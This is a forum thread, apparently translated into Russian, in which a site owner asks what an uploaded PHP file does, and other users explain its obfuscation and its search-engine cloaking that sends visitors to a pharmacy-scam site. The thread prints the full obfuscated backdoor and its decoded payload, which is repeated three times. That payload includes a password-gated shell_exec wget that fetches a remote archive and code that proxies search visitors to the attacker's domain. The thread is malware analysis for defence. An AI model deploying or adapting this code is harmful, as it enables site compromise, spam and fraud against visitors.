astronautic-benchmark.php "сценарий вируса

кто-нибудь слышал об этом:

скрипт astronautic-benchmark.php был загружен на мой веб-сайт и что-то там сделал. Мне любопытно, что они сделали, так как они не были очень злонамеренными хакерами и только изменили мой файл .htaccess, а также для установки вышеупомянутого файла. Ниже приведен код, кто-то знает, что он делает ????

<?php $wzkaou="\x63"."\x72"."\x65"."\x61"."\x74"."e".chr(95).chr(102)."\x75"."\x6e"."\x63"."\x74"."\x69"."o"."n";$osyifa = $wzkaou('$a',strrev(';)a$(lave')); $osyifa(strrev(';))"==gCN0XCJoQD9lQCJoQD7kCbyVncjRCKsJXdj9Vei9VZnFGcfRXZnByboNWZJkQCJoQD701JJJVVfR1UFVVUFJ1JbJVRWJVRT9FJA5SXnQ1UPh0XQRFVIdyWSVkVSV0UfRCQuIyLvoDc0RHai0DbyVncjRSCJkQCK0welNHbl1XCJkgCNsDdphXZJkQCJoQD7ciPs1Gdo9CP+kHZvJ2L8cCIvh2YllQCJkgCNsjIuxlIg4CIn4zczVmckRWYvwDM4ACdy9GUgcCIuASXnQ1UPh0XQRFVIdyWSVkVSV0UfRCIuAyJgQXYgIXZ2JXZTByJg4CIpgibvl2cyVmdwhGcg4CIn8CUIBFInAiLg01JFJVQXRlRPN1XSVkVSV0UnslUFZlUFN1XkAiLgciPzNXZyRGZhxzJg8GajVWCJkQCK0wOi4GXiAiLgciPyhGPnAyboNWZJkQCJoQD7IibcJCIuAyJ+A3L84iclZnclNHIzlGa0BibvBCZuV3bmBCdv5GIzF2dgcCIuASXnkkUV9FVTVUVRVkUnslUFZlUFN1XkAiLgcCIMJVVgQWZ0NXZ1FXZyBSZoRlPwxzJg8GajVWCJkQCK0wOi4GXiAiLgciPxg2L8Qmb19mRgQ3bO5TMoxzJg8GajVWCJkQCK0wOi4GXiAiLgciP5R2bixjPkFWZo9CPnAyboNWZJkQCJoQD7IibcJCIuAyJ+UGb0lGdvwDZuV3bGBCdv5EI0ADN+UGb"(edoced_46esab(lave'));?> 

Первая строка:

 $wzkaou="\x63"."\x72"."\x65"."\x61"."\x74"."e".chr(95).chr(102)."\x75"."\x6e"."\x63"."\x74"."\x69"."o"."n"; 

Итак, мы можем понять, что здесь делается:

 echo $wzkaou; // outputs create_function 

Следующая строка у нас:

 $osyifa = $wzkaou('$a',strrev(';)a$(lave')); 

Поскольку мы знаем, что $ wzkaou – это 'create_function' , здесь вызывается функция. Первый параметр – '$a' а второй параметр:

 echo strrev(';)a$(lave'); // eval($a); 

Итак, в основном мы выполняем:

 create_function('$a', 'eval($a)'); 

Аргумент, который передается этой функции, также можно определить следующим образом:

 echo strrev(';))"==gCN0XCJoQD9lQCJo[...]dp1Was9VZtlGdfRXZzpQD"(edoced_46esab(lave'); 

И это приводит:

 eval(base64_decode("DQpzZXRfdGltZ[...]JCQl9DQoJCX0NCg==")); 

Наконец, когда мы base64_decode() это, он производит:

 set_time_limit(0); function get_page_by_curl($url,$useragent="Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1847.131 Safari/537.36"){ $ch = curl_init (); curl_setopt ($ch, CURLOPT_URL,$url); curl_setopt ($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt ($ch, CURLOPT_TIMEOUT, 30); curl_setopt ($ch, CURLOPT_SSL_VERIFYPEER, 0); curl_setopt ($ch, CURLOPT_SSL_VERIFYHOST, 0); curl_setopt ($ch, CURLOPT_USERAGENT, $useragent); $result = curl_exec ($ch); curl_close($ch); return $result; } $doorcontent=""; $x=@$_POST["pppp_check"]; $md5pass="e5e4570182820af0a183ce1520afe43b"; $host=@$_SERVER["HTTP_HOST"]; $uri=@$_SERVER["REQUEST_URI"]; $host=str_replace("www.","",$host); $md5host=md5($host); $urx=$host.$uri; $md5urx=md5($urx); if (function_exists('sys_get_temp_dir')) {$tmppath = sys_get_temp_dir();} else {$tmppath = (dirname(__FILE__));} $cdir=$tmppath."/.".$md5host."/"; $domain=base64_decode("ay1maXNoLWthLnJ1"); if ($x!=""){ $p=md5(base64_decode(@$_POST["p"])); if ($p!=$md5pass)return; if (($x=="2")||($x=="4")){ echo "###UPDATING_FILES###\n"; if ($x=="2"){ $cmd="cd $tmppath; rm -rf .$md5host"; echo shell_exec($cmd); } $cmd="cd $tmppath; wget http://$domain/outp/wp/arc/$md5host.tgz -O 1.tgz; tar -xzf 1.tgz; rm -rf 1.tgz"; echo shell_exec($cmd); exit; } if ($x=="3"){ echo "###WORKED###\n";exit; } }else{ $curx=$cdir.$md5urx; if (@file_exists($curx)){ @list($IDpack,$mk,$doorcontent)=@explode("

",@base64_decode(@file_get_contents($curx))); $bot=0; $se=0; $mobile=0; if (preg_match("#google|gsa-crawler|AdsBot-Google|Mediapartners|Googlebot-Mobile|spider|bot|yahoo|google web preview|mail\.ru|crawler|baiduspider#i", @$_SERVER["HTTP_USER_AGENT" ]))$bot=1; if (preg_match("#android|symbian|iphone|ipad|series60|mobile|phone|wap|midp|mobi|mini#i", @$_SERVER["HTTP_USER_AGENT" ]))$mobile=1; if (preg_match("#google|bing\.com|msn\.com|ask\.com|aol\.com|altavista|search|yahoo|conduit\.com|charter\.net|wow\.com|mywebsearch\.com|handycafe\.com|babylon\.com#i", @$_SERVER["HTTP_REFERER" ]))$se=1; if ($bot) {echo $doorcontent;exit;} if ($se) {echo get_page_by_curl("http://$domain/lp.php?ip=&quot;.$IDpack."&mk=".rawurlencode($mk)."&d=".$md5host."&u=".$md5urx."&addr=".$_SERVER["REMOTE_ADDR"],@$_SERVER["HTTP_USER_AGENT"]);exit;} header($_SERVER['SERVER_PROTOCOL'] . " 404 Not Found"); echo '<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">' . "\n"; echo '<html><head>' . "\n"; echo '<title>404 Not Found</title>' . "\n"; echo '</head><body>' . "\n"; echo '<h1>Not Found</h1>' . "\n"; echo '<p>The requested URL ' . $_SERVER['REQUEST_URI'] . ' was not found on this server.</p>' . "\n"; echo '<hr>' . "\n"; echo '<address>' . $_SERVER['SERVER_SOFTWARE'] . ' PHP/' . phpversion() . ' Server at ' . $_SERVER['HTTP_HOST'] . ' Port 80</address>' . "\n"; echo '</body></html>'; exit; }else{ $crurl="http://&quot;.@$_SERVER['HTTP_HOST'].@$_SERVER['REQUEST_URI']; echo get_page_by_curl($crurl); } } . set_time_limit(0); function get_page_by_curl($url,$useragent="Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1847.131 Safari/537.36"){ $ch = curl_init (); curl_setopt ($ch, CURLOPT_URL,$url); curl_setopt ($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt ($ch, CURLOPT_TIMEOUT, 30); curl_setopt ($ch, CURLOPT_SSL_VERIFYPEER, 0); curl_setopt ($ch, CURLOPT_SSL_VERIFYHOST, 0); curl_setopt ($ch, CURLOPT_USERAGENT, $useragent); $result = curl_exec ($ch); curl_close($ch); return $result; } $doorcontent=""; $x=@$_POST["pppp_check"]; $md5pass="e5e4570182820af0a183ce1520afe43b"; $host=@$_SERVER["HTTP_HOST"]; $uri=@$_SERVER["REQUEST_URI"]; $host=str_replace("www.","",$host); $md5host=md5($host); $urx=$host.$uri; $md5urx=md5($urx); if (function_exists('sys_get_temp_dir')) {$tmppath = sys_get_temp_dir();} else {$tmppath = (dirname(__FILE__));} $cdir=$tmppath."/.".$md5host."/"; $domain=base64_decode("ay1maXNoLWthLnJ1"); if ($x!=""){ $p=md5(base64_decode(@$_POST["p"])); if ($p!=$md5pass)return; if (($x=="2")||($x=="4")){ echo "###UPDATING_FILES###\n"; if ($x=="2"){ $cmd="cd $tmppath; rm -rf .$md5host"; echo shell_exec($cmd); } $cmd="cd $tmppath; wget http://$domain/outp/wp/arc/$md5host.tgz -O 1.tgz; tar -xzf 1.tgz; rm -rf 1.tgz"; echo shell_exec($cmd); exit; } if ($x=="3"){ echo "###WORKED###\n";exit; } }else{ $curx=$cdir.$md5urx; if (@file_exists($curx)){ @list($IDpack,$mk,$doorcontent)=@explode("

",@base64_decode(@file_get_contents($curx))); $bot=0; $se=0; $mobile=0; if (preg_match("#google|gsa-crawler|AdsBot-Google|Mediapartners|Googlebot-Mobile|spider|bot|yahoo|google web preview|mail\.ru|crawler|baiduspider#i", @$_SERVER["HTTP_USER_AGENT" ]))$bot=1; if (preg_match("#android|symbian|iphone|ipad|series60|mobile|phone|wap|midp|mobi|mini#i", @$_SERVER["HTTP_USER_AGENT" ]))$mobile=1; if (preg_match("#google|bing\.com|msn\.com|ask\.com|aol\.com|altavista|search|yahoo|conduit\.com|charter\.net|wow\.com|mywebsearch\.com|handycafe\.com|babylon\.com#i", @$_SERVER["HTTP_REFERER" ]))$se=1; if ($bot) {echo $doorcontent;exit;} if ($se) {echo get_page_by_curl("http://$domain/lp.php?ip=&quot;.$IDpack."&mk=".rawurlencode($mk)."&d=".$md5host."&u=".$md5urx."&addr=".$_SERVER["REMOTE_ADDR"],@$_SERVER["HTTP_USER_AGENT"]);exit;} header($_SERVER['SERVER_PROTOCOL'] . " 404 Not Found"); echo '<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">' . "\n"; echo '<html><head>' . "\n"; echo '<title>404 Not Found</title>' . "\n"; echo '</head><body>' . "\n"; echo '<h1>Not Found</h1>' . "\n"; echo '<p>The requested URL ' . $_SERVER['REQUEST_URI'] . ' was not found on this server.</p>' . "\n"; echo '<hr>' . "\n"; echo '<address>' . $_SERVER['SERVER_SOFTWARE'] . ' PHP/' . phpversion() . ' Server at ' . $_SERVER['HTTP_HOST'] . ' Port 80</address>' . "\n"; echo '</body></html>'; exit; }else{ $crurl="http://&quot;.@$_SERVER['HTTP_HOST'].@$_SERVER['REQUEST_URI']; echo get_page_by_curl($crurl); } } . set_time_limit(0); function get_page_by_curl($url,$useragent="Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1847.131 Safari/537.36"){ $ch = curl_init (); curl_setopt ($ch, CURLOPT_URL,$url); curl_setopt ($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt ($ch, CURLOPT_TIMEOUT, 30); curl_setopt ($ch, CURLOPT_SSL_VERIFYPEER, 0); curl_setopt ($ch, CURLOPT_SSL_VERIFYHOST, 0); curl_setopt ($ch, CURLOPT_USERAGENT, $useragent); $result = curl_exec ($ch); curl_close($ch); return $result; } $doorcontent=""; $x=@$_POST["pppp_check"]; $md5pass="e5e4570182820af0a183ce1520afe43b"; $host=@$_SERVER["HTTP_HOST"]; $uri=@$_SERVER["REQUEST_URI"]; $host=str_replace("www.","",$host); $md5host=md5($host); $urx=$host.$uri; $md5urx=md5($urx); if (function_exists('sys_get_temp_dir')) {$tmppath = sys_get_temp_dir();} else {$tmppath = (dirname(__FILE__));} $cdir=$tmppath."/.".$md5host."/"; $domain=base64_decode("ay1maXNoLWthLnJ1"); if ($x!=""){ $p=md5(base64_decode(@$_POST["p"])); if ($p!=$md5pass)return; if (($x=="2")||($x=="4")){ echo "###UPDATING_FILES###\n"; if ($x=="2"){ $cmd="cd $tmppath; rm -rf .$md5host"; echo shell_exec($cmd); } $cmd="cd $tmppath; wget http://$domain/outp/wp/arc/$md5host.tgz -O 1.tgz; tar -xzf 1.tgz; rm -rf 1.tgz"; echo shell_exec($cmd); exit; } if ($x=="3"){ echo "###WORKED###\n";exit; } }else{ $curx=$cdir.$md5urx; if (@file_exists($curx)){ @list($IDpack,$mk,$doorcontent)=@explode("

",@base64_decode(@file_get_contents($curx))); $bot=0; $se=0; $mobile=0; if (preg_match("#google|gsa-crawler|AdsBot-Google|Mediapartners|Googlebot-Mobile|spider|bot|yahoo|google web preview|mail\.ru|crawler|baiduspider#i", @$_SERVER["HTTP_USER_AGENT" ]))$bot=1; if (preg_match("#android|symbian|iphone|ipad|series60|mobile|phone|wap|midp|mobi|mini#i", @$_SERVER["HTTP_USER_AGENT" ]))$mobile=1; if (preg_match("#google|bing\.com|msn\.com|ask\.com|aol\.com|altavista|search|yahoo|conduit\.com|charter\.net|wow\.com|mywebsearch\.com|handycafe\.com|babylon\.com#i", @$_SERVER["HTTP_REFERER" ]))$se=1; if ($bot) {echo $doorcontent;exit;} if ($se) {echo get_page_by_curl("http://$domain/lp.php?ip=&quot;.$IDpack."&mk=".rawurlencode($mk)."&d=".$md5host."&u=".$md5urx."&addr=".$_SERVER["REMOTE_ADDR"],@$_SERVER["HTTP_USER_AGENT"]);exit;} header($_SERVER['SERVER_PROTOCOL'] . " 404 Not Found"); echo '<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">' . "\n"; echo '<html><head>' . "\n"; echo '<title>404 Not Found</title>' . "\n"; echo '</head><body>' . "\n"; echo '<h1>Not Found</h1>' . "\n"; echo '<p>The requested URL ' . $_SERVER['REQUEST_URI'] . ' was not found on this server.</p>' . "\n"; echo '<hr>' . "\n"; echo '<address>' . $_SERVER['SERVER_SOFTWARE'] . ' PHP/' . phpversion() . ' Server at ' . $_SERVER['HTTP_HOST'] . ' Port 80</address>' . "\n"; echo '</body></html>'; exit; }else{ $crurl="http://&quot;.@$_SERVER['HTTP_HOST'].@$_SERVER['REQUEST_URI']; echo get_page_by_curl($crurl); } }

Как отметил Майк, код, который у вас есть, плохо запутанный (использует базовую кодировку строки 64 и реверсирует строки / шестнадцатеричные методы, чтобы скрыть ее, которые легко декодировать). Возможно, эти методы использовались только для того, чтобы сохранить подлинность скрипта (поскольку простая текстовая строка имеет высокую вероятность быть искалеченной – защита базы 64 защищает от этого).

Глядя на декодированную версию, кажется, что скрипт загружает веб-страницу на k-fish-ka.ru/lp.php вместо вашей страницы, когда обычный пользователь загружает вашу страницу из результата поисковой системы. Непосредственная навигация к вашей странице не будет загружать поддельный сайт вместо вашего, поэтому вы не заметите разницу, если не найдете свою страницу в результатах поисковой системы (или подделайте заголовок http, чтобы сказать, что вы были опрошены с google.com для тестирования) , Вероятно, поэтому они только вводят страницу в поисковые системы, чтобы скрыть ее от создателя сайта, который обычно напрямую обращается к веб-сайту.

Страница, которая вводится сама по себе, – это интернет-аптечная страница мошенничества (я бы не рекомендовал посещать исходную страницу, поскольку это может быть афера, но это то, что есть). Эта страница, по-видимому, является прямой копией / вставкой с другого веб-сайта http://www.maximumstoretabs.com (что вполне возможно само по себе), что видно из сообщения об авторских правах в нижней части страницы.

Этот скрипт, среди прочего, загружает сжатый файл, который якобы содержит другие вредоносные программы или действительно то, что хотят мошенники. В моем случае была почтовая программа php (возможно, для рассылки спама) и тонны почтовых сообщений с кодировкой base64 с ужасными вещами в них, сохраненными в пути, указанном $curx=$cdir.$md5urx;

Это то же самое произошло с сайтом, которым я управляю. Ссылки SEF (Search Engine Friendly) Joomla перестали работать. Поскольку они требуют перезаписи URL.

В дополнение к другим ответам, я прошел все этапы отладки, а также процесс очистки в сообщении в блоге. К сожалению, эти типы хаков очень распространены в WordPress. К счастью, их относительно легко очистить.

http://kennycason.com/posts/2016-04-04-wordpress-hack-fix-google-redirects-to-spam.html